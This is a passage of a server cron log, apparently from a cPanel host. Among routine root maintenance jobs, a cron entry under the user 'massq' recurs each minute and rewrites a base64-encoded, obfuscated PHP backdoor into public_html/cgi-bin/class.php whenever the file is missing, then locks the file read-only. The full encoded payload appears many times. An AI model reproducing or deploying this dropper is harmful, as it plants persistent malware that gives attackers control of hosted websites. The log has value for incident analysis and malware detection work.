base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:09:01 server CROND[10396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:09:01 server CROND[10395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:10:01 server CROND[10875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:10:01 server CROND[10876]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:10:01 server CROND[10878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:10:01 server CROND[10885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:10:01 server CROND[10886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:10:01 server CROND[10890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:10:01 server CROND[10891]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:10:01 server CROND[10887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:11:01 server CROND[11726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:11:01 server CROND[11727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:11:01 server CROND[11728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:12:01 server CROND[12101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:12:01 server CROND[12102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:12:01 server CROND[12104]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:12:01 server CROND[12103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:13:01 server CROND[12491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:13:01 server CROND[12493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:13:01 server CROND[12492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:14:01 server CROND[12912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:14:01 server CROND[12913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:14:01 server CROND[12914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:15:01 server CROND[13450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:15:01 server CROND[13452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:15:01 server CROND[13454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:15:01 server CROND[13455]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 02:15:01 server CROND[13460]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:15:01 server CROND[13461]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 02:15:01 server CROND[13459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:15:01 server CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:15:01 server CROND[13466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:16:01 server CROND[14319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:16:01 server CROND[14320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:16:01 server CROND[14321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:17:01 server CROND[14677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:17:01 server CROND[14678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:17:01 server CROND[14679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:18:01 server CROND[15085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:18:01 server CROND[15084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:18:01 server CROND[15086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:19:01 server CROND[15521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:19:01 server CROND[15522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:19:01 server CROND[15523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:20:01 server CROND[15904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:20:01 server CROND[15905]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:20:01 server CROND[15908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:20:01 server CROND[15923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:20:01 server CROND[15927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:20:01 server CROND[15931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:20:01 server CROND[15925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:20:01 server CROND[15924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:20:01 server CROND[15926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:21:01 server CROND[16828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:21:01 server CROND[16829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:21:01 server CROND[16830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0L